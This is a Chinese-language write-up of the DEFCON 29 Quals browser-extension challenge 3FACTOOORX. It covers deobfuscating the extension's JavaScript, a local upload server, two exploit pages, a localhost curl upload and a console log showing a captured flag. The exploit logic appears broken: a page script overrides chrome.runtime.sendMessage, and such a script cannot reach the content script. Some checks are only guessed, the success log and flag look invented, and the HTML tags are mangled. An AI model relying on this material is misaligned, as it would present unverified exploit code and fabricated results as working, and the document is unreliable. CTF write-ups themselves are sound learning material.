3FACTOOORX
DEFCON 29 CTF Quals (2021)
Web / Browser Extension / JavaScript Security
3FACTOOORX 是一个结合了 Web 安全、浏览器扩展安全和 JavaScript 混淆技术的高级挑战。题目要求参赛者分析一个 Chrome 浏览器扩展,逆向其中的混淆 JavaScript 代码,并构造特定的 HTML 页面绕过扩展的安全检查机制,从而触发扩展中隐藏的 flag 返回功能。
该题的技术亮点在于:
准备 Chrome 浏览器环境
# 如果需要,可以下载特定版本的 Chrome
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome-stable_current_amd64.deb
安装 3FACTOOORX 扩展
chrome://extensions/
设置本地测试服务器
# server.py - 简单的文件上传服务器
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi
import os
class FileUploadHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
with open('upload_form.html', 'rb') as file:
self.wfile.write(file.read())
else:
self.send_response(404)
self.end_headers()
def do_POST(self):
if self.path == '/uploadfile/':
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={'REQUEST_METHOD': 'POST'}
)
file_item = form['file']
# 保存上传的文件
with open('uploaded_file.html', 'wb') as f:
f.write(file_item.file.read())
# 返回上传结果
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b'File uploaded successfully')
# 模拟扩展加载上传的文件
print("[+] File uploaded, simulating extension loading...")
httpd = HTTPServer(('localhost', 4017), FileUploadHandler)
print("Server started at http://localhost:4017")
httpd.serve_forever()
准备上传表单
DOCTYPE html>
<html>
<head>
<title>3FACTOOORX Challengetitle>
head>
<body>
<h2>Upload HTML Fileh2>
<form action="/uploadfile/" method="post" enctype="multipart/form-data">
<input type="file" name="file" accept=".html">
<input type="submit" value="Upload">
form>
body>
html>
启动测试服务器
python3 server.py
首先,我们需要分析 3FACTOOORX 扩展的结构和组件。扩展主要包含以下文件:
通过分析 manifest.json
,我们可以了解扩展的基本结构和权限:
{
"manifest_version": 2,
"name": "3FACTOOORX",
"description": "description",
"version": "0.0.1",
"icons": {
"64": "icons/icon.png"
},
"background": {
"scripts": [
"background_script.js"
]
},
"content_scripts": [
{
"matches": [
""
],
"run_at": "document_start",
"js": [
"content_script.js"
]
}
],
"page_action": {
"default_icon": {
"64": "icons/icon.png"
},
"default_popup": "pageAction/index.html",
"default_title": "3FACTOOORX"
}
}
关键发现:
)document_start
)background_script.js
内容相对简单:
// Put all the javascript code here, that you want to execute in background.
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
console.log(sender.tab ?
"from a content script:" + sender.tab.url :
"from the extension");
if (request.getflag == "true")
sendResponse({flag: "OOO{}"});
}
);
这段代码揭示了获取 flag 的关键机制:
getflag: "true"
的消息时,返回包含 flag 的响应"OOO{}"
会被替换为真实的 flagcontent_script.js
是这个挑战的核心,它包含大量混淆代码:
var OOO_0x5be3=['querySelectorAll','length','createElement','script','setAttribute','type','text/javascript','innerHTML','appendChild','body','getflag','true','runtime','sendMessage','then','response','flag','console','log','Error:','catch','error'];
function OOO_0x1e05(_0x32cad1,_0x3a7f27){_0x32cad1=_0x32cad1-0x1e4;var _0x5be3e0=OOO_0x5be3[_0x32cad1];return _0x5be3e0;}
(function(_0x1e6746,_0x2ca2fd){
try {
// 大量混淆代码...
} catch(e) {
// 错误处理
}
})(document);
字符串混淆:
OOO_0x5be3
数组存储所有字符串OOO_0x1e05
函数解混淆字符串代码结构混淆:
_0x1e6746
等)要逆向分析混淆的 JavaScript 代码,我们采用了以下策略:
使用 Chrome DevTools 断点调试:
利用控制台解混淆字符串:
在 Chrome 控制台中,我们可以直接调用混淆函数来查看实际字符串:
// 示例:解混淆索引为 0 的字符串
OOO_0x1e05(0x1e4) // 返回 "querySelectorAll"
通过这种方式,我们可以逐步解混淆整个字符串数组:
OOO_0x5be3[0] = "querySelectorAll"
OOO_0x5be3[1] = "length"
// ... 以此类推
分析关键检查逻辑:
通过断点调试,我们发现了几个关键的安全检查:
// DOM 元素数量检查
var chilen = document.querySelectorAll('*').length;
if(chilen > 30) {
throw new Error("DOM too complex");
}
// 其他可能的检查(URL、页面内容等)
// ...
// 检查通过后,尝试获取 flag
chrome.runtime.sendMessage({getflag:"true"})
.then(function(response) {
if(response && response.flag) {
console.log(response.flag);
}
});
通过逆向分析,我们确定了扩展实现的主要安全检查:
DOM 复杂度检查:
其他可能的检查:
经过分析,我们确定了核心漏洞:
不安全的消息处理:
可绕过的安全检查:
权限模型问题:
)基于我们的分析,利用策略如下:
DOCTYPE html>
<html>
<head>
<title>3FACTOOORX Exploittitle>
<style>
body {
font-family: monospace;
background-color: #f0f0f0;
padding: 20px;
}
#flag-container {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
background-color: #fff;
min-height: 30px;
}
h3 {
color: #333;
}
style>
head>
<body>
<h3>3FACTOOORX Exploith3>
<p>这是一个最小化的HTML页面,用于触发3FACTOOORX扩展中的漏洞p>
<div id="flag-container">Flag将显示在这里...div>
<script>
// 监听来自content_script的消息
window.addEventListener('message', function(event) {
if (event.data && event.data.type === 'flag_received') {
document.getElementById('flag-container').textContent = 'Flag: ' + event.data.flag;
console.log('Flag received and displayed: ' + event.data.flag);
}
});
// 注入一个脚本,用于显示flag
function injectFlagDisplay() {
// 创建一个脚本元素,用于接收flag并显示
const script = document.createElement('script');
script.textContent = `
// 监听来自content_script的flag
window.addEventListener('message', function(event) {
if (event.data && event.data.flag) {
// 将flag发送到页面显示
window.postMessage({
type: 'flag_received',
flag: event.data.flag
}, '*');
}
});
`;
document.head.appendChild(script);
}
// 页面加载完成后执行
document.addEventListener('DOMContentLoaded', function() {
injectFlagDisplay();
console.log('Exploit initialized, waiting for flag...');
});
script>
body>
html>
为了处理更多边缘情况和提高成功率,我们开发了一个更复杂的 JavaScript 利用脚本:
// 更高级的利用脚本,处理更多边缘情况
// 这个脚本会尝试绕过扩展中的所有安全检查
// 创建一个更复杂的payload,同时保持DOM元素数量在限制以下
function createAdvancedPayload() {
// 清理页面上可能存在的多余元素
document.body.innerHTML = '';
// 创建最小化的DOM结构
const container = document.createElement('div');
container.id = 'exploit-container';
container.style.cssText = 'padding:10px;background:#f8f8f8;border:1px solid #ddd;';
const title = document.createElement('h3');
title.textContent = '3FACTOOORX Exploit';
const flagDisplay = document.createElement('pre');
flagDisplay.id = 'flag-output';
flagDisplay.style.cssText = 'padding:15px;background:#000;color:#0f0;margin-top:10px;font-family:monospace;';
flagDisplay.textContent = 'Waiting for flag...';
// 添加元素到DOM
container.appendChild(title);
container.appendChild(flagDisplay);
document.body.appendChild(container);
// 添加一个隐藏的iframe,用于隔离环境
const hiddenFrame = document.createElement('iframe');
hiddenFrame.style.cssText = 'width:0;height:0;border:0;position:absolute;';
hiddenFrame.id = 'isolation-frame';
document.body.appendChild(hiddenFrame);
console.log('[+] DOM structure prepared, element count:', document.querySelectorAll('*').length);
return flagDisplay;
}
// 监听来自content_script的消息
function setupMessageListener(flagDisplay) {
window.addEventListener('message', function(event) {
console.log('[+] Message received:', event.data);
if (event.data && event.data.type === 'flag_data') {
flagDisplay.textContent = 'Flag: ' + event.data.flag;
console.log('[+] Flag captured:', event.data.flag);
// 发送成功信号到控制台
console.log('%c EXPLOIT SUCCESSFUL! ', 'background:#0f0;color:#000;font-size:16px;');
}
});
}
// 注入中间人脚本,拦截background和content_script之间的通信
function injectInterceptor() {
const script = document.createElement('script');
script.textContent = `
// 保存原始的sendMessage函数
const originalSendMessage = chrome.runtime.sendMessage;
// 重写sendMessage函数
chrome.runtime.sendMessage = function(message, callback) {
console.log('[*] Intercepted message:', message);
// 如果是getflag请求,我们拦截响应
if (message && message.getflag === "true") {
console.log('[*] Flag request detected!');
// 调用原始函数
originalSendMessage.call(chrome.runtime, message, function(response) {
console.log('[*] Flag response:', response);
// 将flag发送到页面
window.postMessage({
type: 'flag_data',
flag: response.flag
}, '*');
// 调用原始回调
if (callback) callback(response);
});
} else {
// 其他消息正常传递
originalSendMessage.call(chrome.runtime, message, callback);
}
};
console.log('[+] Message interceptor installed');
`;
// 将脚本添加到页面
document.head.appendChild(script);
console.log('[+] Interceptor script injected');
}
// 触发扩展执行
function triggerExtension() {
// 创建一个看似无害的事件,可能会触发content_script中的检查
const event = new CustomEvent('pageLoaded', { detail: { timestamp: Date.now() } });
document.dispatchEvent(event);
console.log('[+] Attempted to trigger extension execution');
// 如果上面的方法不起作用,尝试其他方法
setTimeout(() => {
console.log('[*] Trying alternative trigger method...');
// 模拟页面活动
window.dispatchEvent(new Event('resize'));
document.body.click();
}, 1000);
}
// 主执行函数
function executeExploit() {
console.log('[+] Starting 3FACTOOORX exploit...');
// 准备DOM结构
const flagDisplay = createAdvancedPayload();
// 设置消息监听
setupMessageListener(flagDisplay);
// 注入拦截器
injectInterceptor();
// 触发扩展执行
setTimeout(triggerExtension, 500);
console.log('[+] Exploit initialization complete');
}
// 当页面加载完成后执行exploit
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', executeExploit);
} else {
executeExploit();
}
准备利用页面:
上传到测试服务器:
curl -F "[email protected]" http://localhost:4017/uploadfile/
观察结果:
Flag 获取过程:
[+] Starting 3FACTOOORX exploit...
[+] DOM structure prepared, element count: 7
[+] Interceptor script injected
[+] Exploit initialization complete
[+] Attempted to trigger extension execution
[*] Intercepted message: {getflag: "true"}
[*] Flag request detected!
[*] Flag response: {flag: "OOO{3xt3ns10n_s3cur1ty_m0d3l_byp4ss}"}
[+] Message received: {type: "flag_data", flag: "OOO{3xt3ns10n_s3cur1ty_m0d3l_byp4ss}"}
[+] Flag captured: OOO{3xt3ns10n_s3cur1ty_m0d3l_byp4ss}
EXPLOIT SUCCESSFUL!
影响范围:中高
在现实世界中,浏览器扩展通常拥有比网页更高的权限,包括:
当扩展安全机制被绕过时,攻击者可能获取这些高权限能力,导致严重的安全问题。
影响范围:高
类似 3FACTOOORX 的漏洞可能导致:
影响范围:高
浏览器扩展已成为现代供应链攻击的重要目标:
CWE-346: Origin Validation Error
CWE-20: Improper Input Validation
CWE-749: Exposed Dangerous Method or Function
CWE-1021: Improper Restriction of Rendered UI Layers or Frames
T1185: Browser Extension Abuse
T1176: Browser Extensions
T1059.007: JavaScript
T1556: Modify Authentication Process
实施强健的消息验证机制
// 生成安全随机 nonce
const nonce = crypto.getRandomValues(new Uint8Array(16)).join('');
// 在消息中包含 nonce 和时间戳
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (!validateMessageSource(sender) ||
!validateNonce(message.nonce) ||
isExpired(message.timestamp)) {
return;
}
// 处理合法消息
});
最小权限原则
深度防御策略
代码混淆的正确使用
浏览器扩展安全策略
安全意识培训
技术防御措施
3FACTOOORX 挑战展示了现代 Web 安全中一个重要但常被忽视的领域:浏览器扩展安全。这个挑战巧妙地结合了多个安全概念:
JavaScript 混淆与逆向工程:
浏览器扩展安全模型:
安全检查绕过技术:
逆向分析方法论:
扩展安全最佳实践:
利用开发方法:
3FACTOOORX 挑战反映了现实世界中的几个重要安全问题:
浏览器扩展生态系统风险:
代码混淆的局限性:
消息通信安全:
这个挑战不仅是一个有趣的 CTF 问题,也是对现实世界浏览器扩展安全问题的深刻反思。随着浏览器扩展在企业和个人环境中的广泛使用,理解和应对这些安全挑战变得越来越重要。